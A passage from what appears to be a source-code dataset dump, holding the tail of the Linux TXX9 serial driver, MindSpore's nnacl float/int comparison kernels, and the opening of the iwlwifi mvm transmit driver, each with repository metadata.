*/
termios->c_cflag &= ~(HUPCL | CMSPAR);
termios->c_cflag |= CLOCAL;
cval = sio_in(up, TXX9_SILCR);
/* byte size and parity */
cval &= ~TXX9_SILCR_UMODE_MASK;
switch (termios->c_cflag & CSIZE) {
case CS7:
cval |= TXX9_SILCR_UMODE_7BIT;
break;
default:
case CS5: /* not supported */
case CS6: /* not supported */
case CS8:
cval |= TXX9_SILCR_UMODE_8BIT;
break;
}
cval &= ~TXX9_SILCR_USBL_MASK;
if (termios->c_cflag & CSTOPB)
cval |= TXX9_SILCR_USBL_2BIT;
else
cval |= TXX9_SILCR_USBL_1BIT;
cval &= ~(TXX9_SILCR_UPEN | TXX9_SILCR_UEPS);
if (termios->c_cflag & PARENB)
cval |= TXX9_SILCR_UPEN;
if (!(termios->c_cflag & PARODD))
cval |= TXX9_SILCR_UEPS;
/*
* Ask the core to calculate the divisor for us.
*/
baud = uart_get_baud_rate(port, termios, old, 0, port->uartclk/16/2);
quot = uart_get_divisor(port, baud);
/* Set up FIFOs */
/* TX Int by FIFO Empty, RX Int by Receiving 1 char. */
fcr = TXX9_SIFCR_TDIL_MAX | TXX9_SIFCR_RDIL_1;
/*
* Ok, we're now changing the port state. Do it with
* interrupts disabled.
*/
spin_lock_irqsave(&up->port.lock, flags);
/*
* Update the per-port timeout.
*/
uart_update_timeout(port, termios->c_cflag, baud);
up->port.read_status_mask = TXX9_SIDISR_UOER |
TXX9_SIDISR_TDIS | TXX9_SIDISR_RDIS;
if (termios->c_iflag & INPCK)
up->port.read_status_mask |= TXX9_SIDISR_UFER | TXX9_SIDISR_UPER;
if (termios->c_iflag & (BRKINT | PARMRK))
up->port.read_status_mask |= TXX9_SIDISR_UBRK;
/*
* Characteres to ignore
*/
up->port.ignore_status_mask = 0;
if (termios->c_iflag & IGNPAR)
up->port.ignore_status_mask |= TXX9_SIDISR_UPER | TXX9_SIDISR_UFER;
if (termios->c_iflag & IGNBRK) {
up->port.ignore_status_mask |= TXX9_SIDISR_UBRK;
/*
* If we're ignoring parity and break indicators,
* ignore overruns too (for real raw support).
*/
if (termios->c_iflag & IGNPAR)
up->port.ignore_status_mask |= TXX9_SIDISR_UOER;
}
/*
* ignore all characters if CREAD is not set
*/
if ((termios->c_cflag & CREAD) == 0)
up->port.ignore_status_mask |= TXX9_SIDISR_RDIS;
/* CTS flow control flag */
if ((termios->c_cflag & CRTSCTS) &&
(up->port.flags & UPF_TXX9_HAVE_CTS_LINE)) {
sio_set(up, TXX9_SIFLCR,
TXX9_SIFLCR_RCS | TXX9_SIFLCR_TES);
} else {
sio_mask(up, TXX9_SIFLCR,
TXX9_SIFLCR_RCS | TXX9_SIFLCR_TES);
}
sio_out(up, TXX9_SILCR, cval);
sio_quot_set(up, quot);
sio_out(up, TXX9_SIFCR, fcr);
serial_txx9_set_mctrl(&up->port, up->port.mctrl);
spin_unlock_irqrestore(&up->port.lock, flags);
}
static void
serial_txx9_pm(struct uart_port *port, unsigned int state,
unsigned int oldstate)
{
/*
* If oldstate was -1 this is called from
* uart_configure_port(). In this case do not initialize the
* port now, because the port was already initialized (for
* non-console port) or should not be initialized here (for
* console port). If we initialized the port here we lose
* serial console settings.
*/
if (state == 0 && oldstate != -1)
serial_txx9_initialize(port);
}
static int serial_txx9_request_resource(struct uart_txx9_port *up)
{
unsigned int size = TXX9_REGION_SIZE;
int ret = 0;
switch (up->port.iotype) {
default:
if (!up->port.mapbase)
break;
if (!request_mem_region(up->port.mapbase, size, "serial_txx9")) {
ret = -EBUSY;
break;
}
if (up->port.flags & UPF_IOREMAP) {
up->port.membase = ioremap(up->port.mapbase, size);
if (!up->port.membase) {
release_mem_region(up->port.mapbase, size);
ret = -ENOMEM;
}
}
break;
case UPIO_PORT:
if (!request_region(up->port.iobase, size, "serial_txx9"))
ret = -EBUSY;
break;
}
return ret;
}
static void serial_txx9_release_resource(struct uart_txx9_port *up)
{
unsigned int size = TXX9_REGION_SIZE;
switch (up->port.iotype) {
default:
if (!up->port.mapbase)
break;
if (up->port.flags & UPF_IOREMAP) {
iounmap(up->port.membase);
up->port.membase = NULL;
}
release_mem_region(up->port.mapbase, size);
break;
case UPIO_PORT:
release_region(up->port.iobase, size);
break;
}
}
static void serial_txx9_release_port(struct uart_port *port)
{
struct uart_txx9_port *up = to_uart_txx9_port(port);
serial_txx9_release_resource(up);
}
static int serial_txx9_request_port(struct uart_port *port)
{
struct uart_txx9_port *up = to_uart_txx9_port(port);
return serial_txx9_request_resource(up);
}
static void serial_txx9_config_port(struct uart_port *port, int uflags)
{
struct uart_txx9_port *up = to_uart_txx9_port(port);
int ret;
/*
* Find the region that we can probe for. This in turn
* tells us whether we can probe for the type of port.
*/
ret = serial_txx9_request_resource(up);
if (ret < 0)
return;
port->type = PORT_TXX9;
up->port.fifosize = TXX9_SIO_TX_FIFO;
#ifdef CONFIG_SERIAL_TXX9_CONSOLE
if (up->port.line == up->port.cons->index)
return;
#endif
serial_txx9_initialize(port);
}
static const char *
serial_txx9_type(struct uart_port *port)
{
return "txx9";
}
static struct uart_ops serial_txx9_pops = {
.tx_empty = serial_txx9_tx_empty,
.set_mctrl = serial_txx9_set_mctrl,
.get_mctrl = serial_txx9_get_mctrl,
.stop_tx = serial_txx9_stop_tx,
.start_tx = serial_txx9_start_tx,
.stop_rx = serial_txx9_stop_rx,
.enable_ms = serial_txx9_enable_ms,
.break_ctl = serial_txx9_break_ctl,
.startup = serial_txx9_startup,
.shutdown = serial_txx9_shutdown,
.set_termios = serial_txx9_set_termios,
.pm = serial_txx9_pm,
.type = serial_txx9_type,
.release_port = serial_txx9_release_port,
.request_port = serial_txx9_request_port,
.config_port = serial_txx9_config_port,
#ifdef CONFIG_CONSOLE_POLL
.poll_get_char = serial_txx9_get_poll_char,
.poll_put_char = serial_txx9_put_poll_char,
#endif
};
static struct uart_txx9_port serial_txx9_ports[UART_NR];
static void __init serial_txx9_register_ports(struct uart_driver *drv,
struct device *dev)
{
int i;
for (i = 0; i < UART_NR; i++) {
struct uart_txx9_port *up = &serial_txx9_ports[i];
up->port.line = i;
up->port.ops = &serial_txx9_pops;
up->port.dev = dev;
if (up->port.iobase || up->port.mapbase)
uart_add_one_port(drv, &up->port);
}
}
#ifdef CONFIG_SERIAL_TXX9_CONSOLE
static void serial_txx9_console_putchar(struct uart_port *port, int ch)
{
struct uart_txx9_port *up = to_uart_txx9_port(port);
wait_for_xmitr(up);
sio_out(up, TXX9_SITFIFO, ch);
}
/*
* Print a string to the serial port trying not to disturb
* any possible real use of the port...
*
* The console_lock must be held when we get here.
*/
static void
serial_txx9_console_write(struct console *co, const char *s, unsigned int count)
{
struct uart_txx9_port *up = &serial_txx9_ports[co->index];
unsigned int ier, flcr;
/*
* First save the UER then disable the interrupts
*/
ier = sio_in(up, TXX9_SIDICR);
sio_out(up, TXX9_SIDICR, 0);
/*
* Disable flow-control if enabled (and unnecessary)
*/
flcr = sio_in(up, TXX9_SIFLCR);
if (!(up->port.flags & UPF_CONS_FLOW) && (flcr & TXX9_SIFLCR_TES))
sio_out(up, TXX9_SIFLCR, flcr & ~TXX9_SIFLCR_TES);
uart_console_write(&up->port, s, count, serial_txx9_console_putchar);
/*
* Finally, wait for transmitter to become empty
* and restore the IER
*/
wait_for_xmitr(up);
sio_out(up, TXX9_SIFLCR, flcr);
sio_out(up, TXX9_SIDICR, ier);
}
static int __init serial_txx9_console_setup(struct console *co, char *options)
{
struct uart_port *port;
struct uart_txx9_port *up;
int baud = 9600;
int bits = 8;
int parity = 'n';
int flow = 'n';
/*
* Check whether an invalid uart number has been specified, and
* if so, search for the first available port that does have
* console support.
*/
if (co->index >= UART_NR)
co->index = 0;
up = &serial_txx9_ports[co->index];
port = &up->port;
if (!port->ops)
return -ENODEV;
serial_txx9_initialize(&up->port);
if (options)
uart_parse_options(options, &baud, &parity, &bits, &flow);
return uart_set_options(port, co, baud, parity, bits, flow);
}
static struct uart_driver serial_txx9_reg;
static struct console serial_txx9_console = {
.name = TXX9_TTY_NAME,
.write = serial_txx9_console_write,
.device = uart_console_device,
.setup = serial_txx9_console_setup,
.flags = CON_PRINTBUFFER,
.index = -1,
.data = &serial_txx9_reg,
};
static int __init serial_txx9_console_init(void)
{
register_console(&serial_txx9_console);
return 0;
}
console_initcall(serial_txx9_console_init);
#define SERIAL_TXX9_CONSOLE &serial_txx9_console
#else
#define SERIAL_TXX9_CONSOLE NULL
#endif
static struct uart_driver serial_txx9_reg = {
.owner = THIS_MODULE,
.driver_name = "serial_txx9",
.dev_name = TXX9_TTY_NAME,
.major = TXX9_TTY_MAJOR,
.minor = TXX9_TTY_MINOR_START,
.nr = UART_NR,
.cons = SERIAL_TXX9_CONSOLE,
};
int __init early_serial_txx9_setup(struct uart_port *port)
{
if (port->line >= ARRAY_SIZE(serial_txx9_ports))
return -ENODEV;
serial_txx9_ports[port->line].port = *port;
serial_txx9_ports[port->line].port.ops = &serial_txx9_pops;
serial_txx9_ports[port->line].port.flags |=
UPF_BOOT_AUTOCONF | UPF_FIXED_PORT;
return 0;
}
static DEFINE_MUTEX(serial_txx9_mutex);
/**
* serial_txx9_register_port - register a serial port
* @port: serial port template
*
* Configure the serial port specified by the request.
*
* The port is then probed and if necessary the IRQ is autodetected
* If this fails an error is returned.
*
* On success the port is ready to use and the line number is returned.
*/
static int serial_txx9_register_port(struct uart_port *port)
{
int i;
struct uart_txx9_port *uart;
int ret = -ENOSPC;
mutex_lock(&serial_txx9_mutex);
for (i = 0; i < UART_NR; i++) {
uart = &serial_txx9_ports[i];
if (uart_match_port(&uart->port, port)) {
uart_remove_one_port(&serial_txx9_reg, &uart->port);
break;
}
}
if (i == UART_NR) {
/* Find unused port */
for (i = 0; i < UART_NR; i++) {
uart = &serial_txx9_ports[i];
if (!(uart->port.iobase || uart->port.mapbase))
break;
}
}
if (i < UART_NR) {
uart->port.iobase = port->iobase;
uart->port.membase = port->membase;
uart->port.irq = port->irq;
uart->port.uartclk = port->uartclk;
uart->port.iotype = port->iotype;
uart->port.flags = port->flags
| UPF_BOOT_AUTOCONF | UPF_FIXED_PORT;
uart->port.mapbase = port->mapbase;
if (port->dev)
uart->port.dev = port->dev;
ret = uart_add_one_port(&serial_txx9_reg, &uart->port);
if (ret == 0)
ret = uart->port.line;
}
mutex_unlock(&serial_txx9_mutex);
return ret;
}
/**
* serial_txx9_unregister_port - remove a txx9 serial port at runtime
* @line: serial line number
*
* Remove one serial port. This may not be called from interrupt
* context. We hand the port back to the our control.
*/
static void serial_txx9_unregister_port(int line)
{
struct uart_txx9_port *uart = &serial_txx9_ports[line];
mutex_lock(&serial_txx9_mutex);
uart_remove_one_port(&serial_txx9_reg, &uart->port);
uart->port.flags = 0;
uart->port.type = PORT_UNKNOWN;
uart->port.iobase = 0;
uart->port.mapbase = 0;
uart->port.membase = NULL;
uart->port.dev = NULL;
mutex_unlock(&serial_txx9_mutex);
}
/*
* Register a set of serial devices attached to a platform device.
*/
static int serial_txx9_probe(struct platform_device *dev)
{
struct uart_port *p = dev->dev.platform_data;
struct uart_port port;
int ret, i;
memset(&port, 0, sizeof(struct uart_port));
for (i = 0; p && p->uartclk != 0; p++, i++) {
port.iobase = p->iobase;
port.membase = p->membase;
port.irq = p->irq;
port.uartclk = p->uartclk;
port.iotype = p->iotype;
port.flags = p->flags;
port.mapbase = p->mapbase;
port.dev = &dev->dev;
ret = serial_txx9_register_port(&port);
if (ret < 0) {
dev_err(&dev->dev, "unable to register port at index %d "
"(IO%lx MEM%llx IRQ%d): %d\n", i,
p->iobase, (unsigned long long)p->mapbase,
p->irq, ret);
}
}
return 0;
}
/*
* Remove serial ports registered against a platform device.
*/
static int serial_txx9_remove(struct platform_device *dev)
{
int i;
for (i = 0; i < UART_NR; i++) {
struct uart_txx9_port *up = &serial_txx9_ports[i];
if (up->port.dev == &dev->dev)
serial_txx9_unregister_port(i);
}
return 0;
}
#ifdef CONFIG_PM
static int serial_txx9_suspend(struct platform_device *dev, pm_message_t state)
{
int i;
for (i = 0; i < UART_NR; i++) {
struct uart_txx9_port *up = &serial_txx9_ports[i];
if (up->port.type != PORT_UNKNOWN && up->port.dev == &dev->dev)
uart_suspend_port(&serial_txx9_reg, &up->port);
}
return 0;
}
static int serial_txx9_resume(struct platform_device *dev)
{
int i;
for (i = 0; i < UART_NR; i++) {
struct uart_txx9_port *up = &serial_txx9_ports[i];
if (up->port.type != PORT_UNKNOWN && up->port.dev == &dev->dev)
uart_resume_port(&serial_txx9_reg, &up->port);
}
return 0;
}
#endif
static struct platform_driver serial_txx9_plat_driver = {
.probe = serial_txx9_probe,
.remove = serial_txx9_remove,
#ifdef CONFIG_PM
.suspend = serial_txx9_suspend,
.resume = serial_txx9_resume,
#endif
.driver = {
.name = "serial_txx9",
.owner = THIS_MODULE,
},
};
#ifdef ENABLE_SERIAL_TXX9_PCI
/*
* Probe one serial board. Unfortunately, there is no rhyme nor reason
* to the arrangement of serial ports on a PCI card.
*/
static int
pciserial_txx9_init_one(struct pci_dev *dev, const struct pci_device_id *ent)
{
struct uart_port port;
int line;
int rc;
rc = pci_enable_device(dev);
if (rc)
return rc;
memset(&port, 0, sizeof(port));
port.ops = &serial_txx9_pops;
port.flags |= UPF_TXX9_HAVE_CTS_LINE;
port.uartclk = 66670000;
port.irq = dev->irq;
port.iotype = UPIO_PORT;
port.iobase = pci_resource_start(dev, 1);
port.dev = &dev->dev;
line = serial_txx9_register_port(&port);
if (line < 0) {
printk(KERN_WARNING "Couldn't register serial port %s: %d\n", pci_name(dev), line);
pci_disable_device(dev);
return line;
}
pci_set_drvdata(dev, &serial_txx9_ports[line]);
return 0;
}
static void pciserial_txx9_remove_one(struct pci_dev *dev)
{
struct uart_txx9_port *up = pci_get_drvdata(dev);
pci_set_drvdata(dev, NULL);
if (up) {
serial_txx9_unregister_port(up->port.line);
pci_disable_device(dev);
}
}
#ifdef CONFIG_PM
static int pciserial_txx9_suspend_one(struct pci_dev *dev, pm_message_t state)
{
struct uart_txx9_port *up = pci_get_drvdata(dev);
if (up)
uart_suspend_port(&serial_txx9_reg, &up->port);
pci_save_state(dev);
pci_set_power_state(dev, pci_choose_state(dev, state));
return 0;
}
static int pciserial_txx9_resume_one(struct pci_dev *dev)
{
struct uart_txx9_port *up = pci_get_drvdata(dev);
pci_set_power_state(dev, PCI_D0);
pci_restore_state(dev);
if (up)
uart_resume_port(&serial_txx9_reg, &up->port);
return 0;
}
#endif
static const struct pci_device_id serial_txx9_pci_tbl[] = {
{ PCI_DEVICE(PCI_VENDOR_ID_TOSHIBA_2, PCI_DEVICE_ID_TOSHIBA_TC86C001_MISC) },
{ 0, }
};
static struct pci_driver serial_txx9_pci_driver = {
.name = "serial_txx9",
.probe = pciserial_txx9_init_one,
.remove = pciserial_txx9_remove_one,
#ifdef CONFIG_PM
.suspend = pciserial_txx9_suspend_one,
.resume = pciserial_txx9_resume_one,
#endif
.id_table = serial_txx9_pci_tbl,
};
MODULE_DEVICE_TABLE(pci, serial_txx9_pci_tbl);
#endif /* ENABLE_SERIAL_TXX9_PCI */
static struct platform_device *serial_txx9_plat_devs;
static int __init serial_txx9_init(void)
{
int ret;
printk(KERN_INFO "%s version %s\n", serial_name, serial_version);
ret = uart_register_driver(&serial_txx9_reg);
if (ret)
goto out;
serial_txx9_plat_devs = platform_device_alloc("serial_txx9", -1);
if (!serial_txx9_plat_devs) {
ret = -ENOMEM;
goto unreg_uart_drv;
}
ret = platform_device_add(serial_txx9_plat_devs);
if (ret)
goto put_dev;
serial_txx9_register_ports(&serial_txx9_reg,
&serial_txx9_plat_devs->dev);
ret = platform_driver_register(&serial_txx9_plat_driver);
if (ret)
goto del_dev;
#ifdef ENABLE_SERIAL_TXX9_PCI
ret = pci_register_driver(&serial_txx9_pci_driver);
#endif
if (ret == 0)
goto out;
del_dev:
platform_device_del(serial_txx9_plat_devs);
put_dev:
platform_device_put(serial_txx9_plat_devs);
unreg_uart_drv:
uart_unregister_driver(&serial_txx9_reg);
out:
return ret;
}
static void __exit serial_txx9_exit(void)
{
int i;
#ifdef ENABLE_SERIAL_TXX9_PCI
pci_unregister_driver(&serial_txx9_pci_driver);
#endif
platform_driver_unregister(&serial_txx9_plat_driver);
platform_device_unregister(serial_txx9_plat_devs);
for (i = 0; i < UART_NR; i++) {
struct uart_txx9_port *up = &serial_txx9_ports[i];
if (up->port.iobase || up->port.mapbase)
uart_remove_one_port(&serial_txx9_reg, &up->port);
}
uart_unregister_driver(&serial_txx9_reg);
}
module_init(serial_txx9_init);
module_exit(serial_txx9_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("TX39/49 serial driver");
MODULE_ALIAS_CHARDEV_MAJOR(TXX9_TTY_MAJOR);
|
c6258da459fb2ba55da6e0ca72cb507d54b3b620
|
ffdc77394c5b5532b243cf3c33bd584cbdc65cb7
|
/mindspore/ccsrc/plugin/device/cpu/kernel/nnacl/fp32/arithmetic_compare_fp32.c
|
fee682cf95239d9f83666fc91ee7cc7dd840bdbe
|
[
"Apache-2.0",
"LicenseRef-scancode-proprietary-license",
"MPL-1.0",
"OpenSSL",
"LGPL-3.0-only",
"LicenseRef-scancode-warranty-disclaimer",
"BSD-3-Clause-Open-MPI",
"MIT",
"MPL-2.0-no-copyleft-exception",
"NTP",
"BSD-3-Clause",
"GPL-1.0-or-later",
"0BSD",
"MPL-2.0",
"LicenseRef-scancode-free-unknown",
"AGPL-3.0-only",
"Libpng",
"MPL-1.1",
"IJG",
"GPL-2.0-only",
"BSL-1.0",
"Zlib",
"LicenseRef-scancode-public-domain",
"LicenseRef-scancode-python-cwi",
"BSD-2-Clause",
"LicenseRef-scancode-gary-s-brown",
"LGPL-2.1-only",
"LicenseRef-scancode-other-permissive",
"Python-2.0",
"LicenseRef-scancode-mit-nagy",
"LicenseRef-scancode-other-copyleft",
"LicenseRef-scancode-unknown-license-reference",
"Unlicense"
] |
permissive
|
mindspore-ai/mindspore
|
ca7d5bb51a3451c2705ff2e583a740589d80393b
|
54acb15d435533c815ee1bd9f6dc0b56b4d4cf83
|
refs/heads/master
| 2023-07-29T09:17:11.051569
| 2023-07-17T13:14:15
| 2023-07-17T13:14:15
| 239,714,835
| 4,178
| 768
|
Apache-2.0
| 2023-07-26T22:31:11
| 2020-02-11T08:43:48
|
C++
|
UTF-8
|
C
| false
| false
| 9,242
|
c
|
arithmetic_compare_fp32.c
|
/**
* Copyright 2020-2023 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "nnacl/fp32/arithmetic_compare_fp32.h"
inline bool EqualFp32(float x, float y);
inline bool NotEqualFp32(float x, float y);
inline bool LessFp32(float x, float y);
inline bool LessEqualFp32(float x, float y);
inline bool GreaterFp32(float x, float y);
inline bool GreaterEqualFp32(float x, float y);
inline bool EqualInt32(int x, int y);
inline bool NotEqualInt32(int x, int y);
inline bool NotEqualInt64(int64_t x, int64_t y);
inline bool LessInt32(int x, int y);
inline bool LessEqualInt32(int x, int y);
inline bool GreaterInt32(int x, int y);
inline bool GreaterEqualInt32(int x, int y);
bool EqualFp32(float x, float y) { return x == y; }
bool NotEqualFp32(float x, float y) { return x != y; }
bool LessFp32(float x, float y) { return x < y; }
bool LessEqualFp32(float x, float y) { return x <= y; }
bool GreaterFp32(float x, float y) { return x > y; }
bool GreaterEqualFp32(float x, float y) { return x >= y; }
bool EqualInt32(int x, int y) { return x == y; }
bool NotEqualInt32(int x, int y) { return x != y; }
bool NotEqualInt64(int64_t x, int64_t y) { return x != y; }
bool LessInt32(int x, int y) { return x < y; }
bool LessEqualInt32(int x, int y) { return x <= y; }
bool GreaterInt32(int x, int y) { return x > y; }
bool GreaterEqualInt32(int x, int y) { return x >= y; }
#define ELEMENT_COMPARE(input0, input1, output, element_size, compare_func) \
do { \
for (int i = 0; i < element_size; i++) { \
output[i] = compare_func(input0[i], input1[i]); \
} \
return NNACL_OK; \
} while (0)
#define ELEMENT_COMPARE_OPT(input0, input1, output, element_size, first_scalar, compare_func) \
do { \
int i = 0; \
if (first_scalar) { \
for (; i < element_size; i++) { \
output[i] = compare_func(input0[0], input1[i]); \
} \
} else { \
for (; i < element_size; i++) { \
output[i] = compare_func(input0[i], input1[0]); \
} \
} \
return NNACL_OK; \
} while (0)
// equal:
int ElementEqualFp32(const float *input0, const float *input1, uint8_t *output, int element_size) {
ELEMENT_COMPARE(input0, input1, output, element_size, EqualFp32);
}
int ElementOptEqualFp32(const float *input0, const float *input1, uint8_t *output, int element_size,
bool first_scalar) {
ELEMENT_COMPARE_OPT(input0, input1, output, element_size, first_scalar, EqualFp32);
}
int ElementEqualInt32(const int32_t *input0, const int32_t *input1, uint8_t *output, int element_size) {
ELEMENT_COMPARE(input0, input1, output, element_size, EqualInt32);
}
int ElementOptEqualInt32(const int32_t *input0, const int32_t *input1, uint8_t *output, int element_size,
bool first_scalar) {
ELEMENT_COMPARE_OPT(input0, input1, output, element_size, first_scalar, EqualInt32);
}
// not equal
int ElementNotEqualFp32(const float *input0, const float *input1, uint8_t *output, int element_size) {
ELEMENT_COMPARE(input0, input1, output, element_size, NotEqualFp32);
}
int ElementOptNotEqualFp32(const float *input0, const float *input1, uint8_t *output, int element_size,
bool first_scalar) {
ELEMENT_COMPARE_OPT(input0, input1, output, element_size, first_scalar, NotEqualFp32);
}
int ElementNotEqualInt32(const int32_t *input0, const int32_t *input1, uint8_t *output, int element_size) {
ELEMENT_COMPARE(input0, input1, output, element_size, NotEqualInt32);
}
int ElementOptNotEqualInt32(const int32_t *input0, const int32_t *input1, uint8_t *output, int element_size,
bool first_scalar) {
ELEMENT_COMPARE_OPT(input0, input1, output, element_size, first_scalar, NotEqualInt32);
}
int ElementNotEqualInt64(const int64_t *input0, const int64_t *input1, uint8_t *output, int element_size) {
ELEMENT_COMPARE(input0, input1, output, element_size, NotEqualInt64);
}
int ElementOptNotEqualInt64(const int64_t *input0, const int64_t *input1, uint8_t *output, int element_size,
bool first_scalar) {
ELEMENT_COMPARE_OPT(input0, input1, output, element_size, first_scalar, NotEqualInt64);
}
// less
int ElementLessFp32(const float *input0, const float *input1, uint8_t *output, int element_size) {
ELEMENT_COMPARE(input0, input1, output, element_size, LessFp32);
}
int ElementOptLessFp32(const float *input0, const float *input1, uint8_t *output, int element_size, bool first_scalar) {
ELEMENT_COMPARE_OPT(input0, input1, output, element_size, first_scalar, LessFp32);
}
int ElementLessInt32(const int32_t *input0, const int32_t *input1, uint8_t *output, int element_size) {
ELEMENT_COMPARE(input0, input1, output, element_size, LessInt32);
}
int ElementOptLessInt32(const int32_t *input0, const int32_t *input1, uint8_t *output, int element_size,
bool first_scalar) {
ELEMENT_COMPARE_OPT(input0, input1, output, element_size, first_scalar, LessInt32);
}
// less equal
int ElementLessEqualFp32(const float *input0, const float *input1, uint8_t *output, int element_size) {
ELEMENT_COMPARE(input0, input1, output, element_size, LessEqualFp32);
}
int ElementOptLessEqualFp32(const float *input0, const float *input1, uint8_t *output, int element_size,
bool first_scalar) {
ELEMENT_COMPARE_OPT(input0, input1, output, element_size, first_scalar, LessEqualFp32);
}
int ElementLessEqualInt32(const int32_t *input0, const int32_t *input1, uint8_t *output, int element_size) {
ELEMENT_COMPARE(input0, input1, output, element_size, LessEqualInt32);
}
int ElementOptLessEqualInt32(const int32_t *input0, const int32_t *input1, uint8_t *output, int element_size,
bool first_scalar) {
ELEMENT_COMPARE_OPT(input0, input1, output, element_size, first_scalar, LessEqualInt32);
}
// greater
int ElementGreaterFp32(const float *input0, const float *input1, uint8_t *output, int element_size) {
ELEMENT_COMPARE(input0, input1, output, element_size, GreaterFp32);
}
int ElementOptGreaterFp32(const float *input0, const float *input1, uint8_t *output, int element_size,
bool first_scalar) {
ELEMENT_COMPARE_OPT(input0, input1, output, element_size, first_scalar, GreaterFp32);
}
int ElementGreaterInt32(const int32_t *input0, const int32_t *input1, uint8_t *output, int element_size) {
ELEMENT_COMPARE(input0, input1, output, element_size, GreaterInt32);
}
int ElementOptGreaterInt32(const int32_t *input0, const int32_t *input1, uint8_t *output, int element_size,
bool first_scalar) {
ELEMENT_COMPARE_OPT(input0, input1, output, element_size, first_scalar, GreaterInt32);
}
// greater equal
int ElementGreaterEqualFp32(const float *input0, const float *input1, uint8_t *output, int element_size) {
ELEMENT_COMPARE(input0, input1, output, element_size, GreaterEqualFp32);
}
int ElementOptGreaterEqualFp32(const float *input0, const float *input1, uint8_t *output, int element_size,
bool first_scalar) {
ELEMENT_COMPARE_OPT(input0, input1, output, element_size, first_scalar, GreaterEqualFp32);
}
int ElementGreaterEqualInt32(const int32_t *input0, const int32_t *input1, uint8_t *output, int element_size) {
ELEMENT_COMPARE(input0, input1, output, element_size, GreaterEqualInt32);
}
int ElementOptGreaterEqualInt32(const int32_t *input0, const int32_t *input1, uint8_t *output, int element_size,
bool first_scalar) {
ELEMENT_COMPARE_OPT(input0, input1, output, element_size, first_scalar, GreaterEqualInt32);
}
|
188791da3a78105824d237b40bc67d7a246b181a
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/drivers/net/wireless/iwlwifi/mvm/tx.c
|
3dd0e5bfa0fc85a3b710a030bfb26f707bb0f518
|
[
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later",
"LicenseRef-scancode-free-unknown",
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 28,536
|
c
|
tx.c
|
/******************************************************************************
*
* This file is provided under a dual BSD/GPLv2 license. When using or
* redistributing this file, you may do so under either license.
*
* GPL LICENSE SUMMARY
*
* Copyright(c) 2012 - 2013 Intel Corporation. All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of version 2 of the GNU General Public License as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110,
* USA
*
* The full GNU General Public License is included in this distribution
* in the file called COPYING.
*
* Contact Information:
* Intel Linux Wireless <ilw@linux.intel.com>
* Intel Corporation, 5200 N.E. Elam Young Parkway, Hillsboro, OR 97124-6497
*
* BSD LICENSE
*
* Copyright(c) 2012 - 2013 Intel Corporation. All rights reserved.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* * Neither the name Intel Corporation nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*****************************************************************************/
#include <linux/ieee80211.h>
#include <linux/etherdevice.h>
#include "iwl-trans.h"
#include "iwl-eeprom-parse.h"
#include "mvm.h"
#include "sta.h"
/*
* Sets most of the Tx cmd's fields
*/
static void iwl_mvm_set_tx_cmd(struct iwl_mvm *mvm, struct sk_buff *skb,
struct iwl_tx_cmd *tx_cmd,
struct ieee80211_tx_info *info, u8 sta_id)
{
struct ieee80211_hdr *hdr = (void *)skb->data;
__le16 fc = hdr->frame_control;
u32 tx_flags = le32_to_cpu(tx_cmd->tx_flags);
u32 len = skb->len + FCS_LEN;
if (!(info->flags & IEEE80211_TX_CTL_NO_ACK))
tx_flags |= TX_CMD_FLG_ACK;
else
tx_flags &= ~TX_CMD_FLG_ACK;
if (ieee80211_is_probe_resp(fc))
tx_flags |= TX_CMD_FLG_TSF;
else if (ieee80211_is_back_req(fc))
tx_flags |= TX_CMD_FLG_ACK | TX_CMD_FLG_BAR;
